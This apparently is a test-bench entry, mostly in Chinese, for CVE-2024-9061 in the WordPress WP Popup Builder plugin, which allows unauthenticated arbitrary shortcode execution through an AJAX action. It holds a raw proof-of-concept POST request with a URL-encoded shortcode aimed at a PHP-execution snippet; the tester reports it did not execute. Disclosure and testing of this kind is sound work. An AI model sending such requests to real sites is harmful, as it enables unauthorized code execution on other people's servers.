WP Popup Builder – Popup Forms and Marketing Lead Generation <= 1.3.5 - 通过 wp_ajax_nopriv_shortcode_Api_Add 实现未经认证的任意短代码执行
WordPress 的 WP Popup Builder – Popup Forms and Marketing Lead Generation 插件在 1.3.5 及之前的所有版本中,容易受到通过 wp_ajax_nopriv_shortcode_Api_Add AJAX 操作执行任意短代码的攻击。这是因为该软件允许用户执行某个操作,而在运行 do_shortcode 之前未正确验证值。这使得未经认证的攻击者能够执行任意短代码。注意:此漏洞在 1.3.5 版本中通过 nonce 检查得到了部分修复,该检查有效阻止了对受影响函数的访问。不过,1.3.6 版本加入了正确的授权检查,以防止未经授权的访问。
我为此安装了另一个用于 PHP 执行的插件,但始终未能使其执行。
[xyz-ips snippet="test"]
Type: plugin
CVSS Score: 7.3
CVE: CVE-2024-9061
Slug: wp-popup-builder
Download Link: Download [wp-popup-builder Version 1.3.2](https://downloads.wordpress.org/plugin/wp-popup-builder.1.3.2.zip)
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wpscan-vulnerability-test-bench.ddev.site
User-Agent: curl/8.7.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Connection: keep-alive
action=shortcode_Api_Add&shortcode=%5b%78%79%7a%2d%69%70%73%20%73%6e%69%70%70%65%74%3d%22%74%65%73%74%22%5d
响应为空白 200